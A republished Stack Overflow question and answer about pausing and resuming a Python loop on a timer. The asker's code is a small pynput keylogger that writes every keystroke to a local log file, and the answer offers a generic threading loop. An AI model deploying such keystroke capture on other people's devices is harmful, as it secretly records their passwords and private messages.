'How to stop loop for a while in Python?

I have this code:

from pynput.keyboard import Key, Listener
import logging
import time as t


def stop():
    print('Stop keylogging for a while')


def main():
    logging.basicConfig(filename=('keylog.txt'), level=logging.DEBUG, format=" %(asctime)s - %(message)s")

    def on_press(key):
        logging.info(str(key))

    with Listener(on_press=on_press) as listener :
        listener.join()




main()
stop()

It writes your typed letters in a file, but I want to stop it for a while do another function and again start writing typed letters

So I just need to stop this function after 1 hour:

main()

Start this function:

stop()

And again start this function:

main()

And I want it to works in a loop

Easier:

def stop():
    print('Stop')


def main():
        while True:
            print("Working")     

while True:
# Again start main() function
        main()
# Do stop() function after 10 seconds
        stop()

When I start this code main() works infinitely, I want to stop it but after 10 seconds, and start stop() function, than again go to the main() function



Solution 1:[1]

from threading import Thread
import time

def main():

    print('Working')

def stop():
    print('stopped')

while 1:
    t = Thread(target=main)
    t.start()
    time.sleep(6)
    t.join()
    stop()

you can use thread for it

Sources

This article follows the attribution requirements of Stack Overflow and is licensed under CC BY-SA 3.0.

Source: Stack Overflow

Solution Source
Solution 1 Mr Robot